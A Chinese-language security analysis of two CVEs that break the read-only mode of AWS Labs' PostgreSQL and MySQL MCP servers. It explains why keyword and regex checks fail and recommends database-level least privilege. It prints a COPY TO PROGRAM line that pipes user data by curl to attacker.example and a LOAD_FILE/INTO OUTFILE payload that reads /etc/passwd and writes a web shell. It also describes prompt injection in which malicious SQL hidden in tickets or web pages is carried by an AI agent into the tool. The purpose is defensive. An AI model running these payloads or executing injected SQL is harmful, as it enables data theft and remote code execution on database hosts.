连官方出品的 MCP 服务器都栽在"只读模式"上。这不是代码质量问题,是模式设计问题——黑名单永远漏、正则永远绕。
AWS 官方 MCP 服务器连爆两个 CVE:read-only 模式被 COPY TO PROGRAM 打穿
TL;DR
- CVE-2026-87911:
awslabs postgres-mcp-server< 1.1.7,SQL 验证组件的只读强制存在 OS 命令注入(CWE-78),CVSS 3.1 9.6 Critical / CVSS 4.0 9.0。攻击者在 MCP 会话内容里塞入COPY ... TO PROGRAM语句,当已认证用户在默认只读模式下与服务器交互时,未认证攻击者即可在自托管 PostgreSQL 服务器主机上执行任意 OS 命令。由 Corsen 的 AI 漏洞发现工具(AI finder)挖出,AWS 安全公告 2026-104 修复于 1.1.7。 - CVE-2026-85788:
awslabs mysql-mcp-server≤ 1.0.21,"可变 SQL 检测器"(mutable SQL detector)使用不完整的黑名单(CWE-184),攻击者用正则引擎不当作空白的 SQL 内联注释绕过只读强制门,到达文件读写 SQL sink。CVSS 5.5,修复于 1.0.23(AWS 公告 2026-103)。 - 两连击同一个教训:MCP 服务器的"只读"如果靠黑名单 + 正则实现,就不是只读。本文拆解利用链、失败根因和正确的防御架构。
一、背景:awslabs MCP 服务器家族
AWS Labs 在 github.com/awslabs/mcp 维护着一批官方 MCP 服务器(PostgreSQL、MySQL、DynamoDB、Aurora 等),是 PyPI 上下载量最大的 MCP 服务器家族之一。它们的典型部署形态:
┌──────────────┐ MCP (stdio/SSE) ┌───────────────────────┐
│ AI 客户端 │ ◄──────────────────────► │ postgres-mcp-server │
│ (Claude/等) │ read-only 模式默认开启 │ (Python, PyPI 分发) │
└──────────────┘ └──────────┬────────────┘
│ psycopg
┌──────────▼────────────┐
│ PostgreSQL 服务器 │
│ (自托管 / RDS) │
└───────────────────────┘"read-only 模式"是这个家族的核心卖点:DBA 可以放心把数据库交给 AI Agent,让 Agent 能查不能改。这个卖点的安全前提,就是 SQL 验证组件必须正确识别"什么是一条 mutating SQL"。两个 CVE 爆的都是这个前提。
二、CVE-2026-87911:COPY ... TO PROGRAM 命令注入
2.1 漏洞本质
PostgreSQL 提供了一个非常强大(也非常危险)的语法:
COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.example/exfil -d @-';TO PROGRAM 会把 COPY 的输出直接通过管道交给操作系统 shell 执行。这条语句需要 pg_execute_server_program 角色(默认超级用户有),但在很多自托管部署里,MCP 服务器连接数据库用的账号权限不低。
awsLabs 的 postgres-mcp-server 在只读模式下会解析每条 SQL,检测其中是否包含 mutating 操作(INSERT/UPDATE/DELETE/DDL 等)。但它的检测没有把 COPY ... TO PROGRAM 归类为 mutating——毕竟语句长得像一条读数据的 COPY。
2.2 利用链
CVE 描述里有个关键细节:"by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server"。拆开看:
┌─────────────┐ ① 恶意内容(文档/工单/网页/聊天记录)
│ 不可信内容源 │ ─────────────────────────────────┐
└─────────────┘ ▼
┌──────────────────┐
② 用户让 AI 分析该内容 │ AI 客户端会话 │
("帮我总结这个工单") │ 恶意 SQL 进入上下文 │
└────────┬─────────┘
│ ③ AI 调用 MCP 工具
│ 执行含 COPY 的 SQL
┌────────▼─────────┐
│ postgres-mcp-server│
│ 只读校验:放行 ✗ │
└────────┬─────────┘
│ ④ 语句下发 PostgreSQL
┌────────▼─────────┐
│ COPY ... TO PROGRAM│
│ → shell 执行任意命令 │
└──────────────────┘四个要点:
- 攻击者无需 MCP 服务器凭证(CVSS 向量
PR:N)——恶意载荷藏在"内容"里,等已认证用户(或其 Agent)触发处理。 - 默认配置即可打——read-only 是默认模式,用户以为自己安全。
- S:C 范围变更——命令在 MCP 服务器所在的宿主机上执行(通过数据库服务器的 shell),影响从数据库会话逃逸到 OS 层。
- CVSS 双版本 9.6/9.0,AWS 直接标 Critical。
2.3 为什么防不住:黑名单的先天缺陷
修这个类漏洞的组织通常会写这样的检测:
MUTATING_KEYWORDS = ["INSERT", "UPDATE", "DELETE", "DROP", "ALTER",
"CREATE", "TRUNCATE", "GRANT", "VACUUM"]
def is_readonly(sql: str) -> bool:
return not any(kw in sql.upper() for kw in MUTATING_KEYWORDS)这段代码至少有四个洞,COPY TO PROGRAM 全部命中:
| 洞 | 说明 | COPY TO PROGRAM 是否利用 |
|---|---|---|
| 关键词枚举不全 | COPY、PROGRAM 不在 mutating 名单里 | ✅ |
| 子字符串误判 | updated_at 字段名会被 UPDATE 命中——为了减少误报,名单越缩越小 | ✅(倒逼名单不全) |
| 词法理解缺失 | 不解析语法树,无法知道 PROGRAM 后面跟的是命令 | ✅ |
| 大小写/混淆 | 注释、编码、Unicode 混淆可藏关键词 | ✅ |
黑名单检测的核心矛盾:为了不误杀正常查询,名单必须"恰好够用";而攻击面只需要名单"少一个词"。 这是一场注定输的军备竞赛。
三、CVE-2026-85788:SQL 注释绕过只读门
mysql-mcp-server 的"mutable SQL detector"走了另一条路:不是枚举危险关键词,而是用正则检测语句是否"看起来像查询",只有纯 SELECT 才放行。听起来更白名单了,但它栽在了正则引擎与 SQL 语义的错位上:
- 攻击载荷使用 SQL 内联注释(
/* */或/*! ... */)包裹 mutating 语句; - 正则引擎的空白匹配(
\s)不把 SQL 注释当作空白,于是检测器认为语句"结构上不是 mutating"而放行; - MySQL 服务端执行时却会解析注释内容(尤其
/*! ... */是 MySQL 特有的"版本条件注释",内容会被真实执行)。
-- 检测器视角:一条"奇怪但无害"的注释语句
/*! SELECT */ LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/shell.php'结果:file-read 和 file-write SQL sink 被触达(CVE 描述原文)。CVSS 5.5 看着不高,但注意 C:H(机密性高)——配合 LOAD_FILE/INTO OUTFILE,数据库服务器上的文件读取与写入就位,往 web 目录写个 shell 就是完整的 RCE 链。
修复于 1.0.23(AWS 公告 2026-103,GHSA-x25m-ph3m-3r9q)。
四、把镜头拉远:MCP 只读模式的连环塌方
这不是孤例。把 2026 下半年的 MCP 数据库类 CVE 排成时间线,模式惊人一致:
| 时间 | 项目 | 漏洞 | 绕过手法 |
|---|---|---|---|
| 2026-06 | mysql-mcp-server(社区) | CVE-2026-59971,CVSS 10.0 | SSE transport 无认证/无 Origin 校验,任意 SQL |
| 2026-09 初 | Postgres MCP Pro | CVE-2026-85620,CVSS 9.2 | 白名单只校验 FuncCall,漏 RangeFunction → pg_read_file() |
| 2026-09-10 | awslabs postgres-mcp-server | CVE-2026-87911,CVSS 9.6 | COPY ... TO PROGRAM 不在 mutating 名单 |
| 2026-09-10 | awslabs mysql-mcp-server | CVE-2026-85788,CVSS 5.5 | SQL 内联注释骗过正则 |
| 2026-09-17 | Atlassian MCP | CVE-2026-73498,CVSS 7.7 | 工具参数未做路径校验 |
本站之前已拆过 Postgres MCP Pro(受限模式绕过)、Atlassian MCP(路径遍历)和无认证 SSE(Mobile MCP)。四个案例覆盖了四种绕过,但根因可以归并成一句话:
"只读"不是字符串处理问题,是执行权限问题。在应用层用文本匹配模拟数据库的权限模型,永远模拟不全。
五、正确的防御架构
5.1 应用层做不到的事
- ❌ 用正则/关键词判断 SQL 是否 mutating——总有一种语法你没想到(注释、版本条件注释、CTE、函数调用、COPY、DO $$ 块、PREPARE……)。
- ❌ 信任传输层隔离——SSE 模式下的 DNS rebinding、Origin 缺失是另一整类洞。
- ❌ 让 Agent 决定"这条 SQL 安全吗"——LLM 本身就是不可信输入的处理者。
5.2 数据库层应该做的事
原则:把只读下沉到数据库自己的权限系统,MCP 服务器只做通道不做裁判。
PostgreSQL 侧:
-- 1. 专用低权限角色
CREATE ROLE mcp_agent LOGIN PASSWORD '...';
GRANT CONNECT ON DATABASE app TO mcp_agent;
GRANT USAGE ON SCHEMA public TO mcp_agent;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO mcp_agent;
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO mcp_agent;
-- 2. 关键:收回程序执行权限(打掉 COPY TO PROGRAM 的牙齿)
REVOKE pg_execute_server_program FROM mcp_agent;
REVOKE pg_read_server_files FROM mcp_agent;
REVOKE pg_write_server_files FROM mcp_agent;
-- 3. 可选:行级安全兜底
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
CREATE POLICY mcp_read ON orders FOR SELECT TO mcp_agent USING (region = 'cn');即使 MCP 服务器的校验被绕过,mcp_agent 角色也没有权限执行 COPY TO PROGRAM、写文件、改数据——漏洞从"Critical"降级成"配置错误但无实害"。
MySQL 侧:
CREATE USER 'mcp_agent'@'%' IDENTIFIED BY '...';
GRANT SELECT ON app.* TO 'mcp_agent'@'%';
-- 不要给 FILE 权限(CVE-2026-59971 的 RCE 前提就是 FILE 权限)
SHOW GRANTS FOR 'mcp_agent'@'%';5.3 MCP 服务器自身的加固清单
- 传输层:HTTP/SSE 部署必须配 Origin/Host 校验、CORS、认证中间件;
0.0.0.0绑定是红旗。stdio 模式只接受受控客户端。 - 补丁:postgres-mcp-server 升 ≥ 1.1.7,mysql-mcp-server 升 ≥ 1.0.23。PyPI 上还有大量旧版本在被拉取。
- 网络位置:MCP 服务器与数据库放同一个内网段,禁止直接暴露公网;出站流量默认拒绝。
- 审计:记录每条下发 SQL + 会话来源 + 触发用户,异常语句(含注释、含 COPY/PROGRAM/OUTFILE 词素)打告警。
- 供应链视角:MCP 服务器本身是 AI Agent 的执行边界——它被绕过等于 Agent 的手被借走。参考本站 MCP 供应链投毒案例的纵深防御思路。
六、写在最后:AI finder 挖出 AI 基础设施的洞
值得注意的细节:CVE-2026-87911 的发现者署名是 Corsen(AI finder)——用自动化 AI 漏洞挖掘工具找到了 AI 基础设施的漏洞。这与 9 月初 GPT-5.6 Sol 在 25 美元预算内挖出 WordPress 核心 RCE 链(wp2shell)的趋势互相印证:AI 挖洞的成本已经低到能常态化覆盖 MCP 生态这种新攻击面。你的 MCP 服务器今天没被扫到,只是因为扫描队列还没排到你。
参考资料
- AWS 安全公告 2026-104:postgres-mcp-server 命令注入
- AWS 安全公告 2026-103:mysql-mcp-server 黑名单绕过
- GHSA-fph8-pg5w-78fv / GHSA-x25m-ph3m-3r9q(GitHub Advisories)
- CVE-2026-87911 / CVE-2026-85788(cve.org 记录)
- PostgreSQL 文档:COPY、pg_execute_server_program

